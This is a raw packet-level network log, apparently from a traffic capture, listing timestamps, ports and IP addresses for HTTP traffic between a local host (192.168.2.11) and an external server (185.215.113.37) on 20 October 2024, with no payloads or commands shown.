Oct 20, 2024 23:43:13.968736887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968746901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968759060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968770981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968843937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968857050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.968863964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968864918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968864918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968915939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.968915939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969033957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969046116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969055891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969065905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969078064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969089031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969099045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969100952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969115019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969122887 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969125986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969136953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969155073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969155073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969172955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969366074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969377995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969391108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969402075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969414949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969427109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969449997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969449997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969490051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969502926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969525099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969542980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969561100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969573021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969583988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969594955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.969655037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969655037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.969655037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.970630884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970665932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970676899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970751047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.970884085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970896006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970906019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970916986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.970952034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.970952034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.970978022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971318007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971328020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971338987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971343994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971355915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971369028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971370935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971379995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971400023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971410036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971435070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971474886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971474886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971627951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971637964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971651077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971661091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971671104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971683979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971693039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.971728086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971728086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971728086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.971818924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.972603083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972613096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972624063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972686052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972697020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972707987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972712994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.972712994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.972723007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.972732067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.972923994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973011971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973022938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973032951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973047972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973064899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973076105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973086119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973097086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973110914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973115921 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973115921 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973115921 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973124981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973186016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973186016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973186016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973293066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973304033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973315954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973329067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973340034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973351002 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973354101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.973400116 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.973400116 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974014044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974033117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974051952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974061966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974072933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974082947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974093914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974107027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974109888 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974109888 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974109888 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974118948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974132061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974133968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974143982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974153996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974164009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974175930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974179029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974179029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974186897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974199057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974215031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974220037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974229097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974237919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974241018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974253893 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974277020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974297047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974297047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974517107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974528074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974539042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974549055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974560022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974570990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974622011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974622965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974634886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974646091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974657059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974667072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974678040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974690914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974701881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974714041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974714041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974714041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974714041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974726915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.974842072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.974842072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975033045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975045919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975056887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975092888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975095987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975100040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975106955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975131035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975137949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975141048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975152969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975162029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975169897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975172997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975188017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975194931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975204945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975227118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975227118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975227118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975285053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975461006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975471020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975485086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975495100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975506067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975517035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975531101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975544930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975548029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975548029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975558996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975594044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975594044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975673914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975779057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975789070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975800037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975811005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975821018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975831985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975843906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975855112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975861073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975861073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975864887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975886106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975897074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975905895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975919008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975919008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975919962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975933075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975934029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975945950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975958109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975967884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975977898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.975986004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975986004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.975989103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976001024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976011992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976016045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976037025 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976154089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976648092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976659060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976669073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976680040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976691008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976701975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976715088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976727009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976737976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976744890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976744890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976744890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976747990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976768017 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976768970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976779938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976793051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976800919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976803064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976815939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976818085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976829052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976839066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976851940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976862907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976876020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976881981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976881981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976881981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976886034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976898909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976912022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976922035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976928949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976928949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976932049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976944923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976955891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976967096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976978064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.976984978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.976984978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977004051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977018118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977596045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977607965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977617979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977627993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977638960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977653027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977664948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977678061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977684021 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977684021 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977689028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977700949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977710962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977722883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977722883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977730989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977742910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977751970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977763891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977770090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977771044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977770090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977782965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977790117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977793932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977807999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977818966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977822065 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977830887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977844954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977855921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977868080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977878094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977883101 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977883101 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977888107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977896929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977901936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977916002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977924109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977924109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977926016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977941036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977952957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.977971077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.977971077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.978041887 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.978991985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979005098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979017019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979027987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979041100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979052067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.979063034 CEST	80	49708	185.215.113.37	192.168.2.11
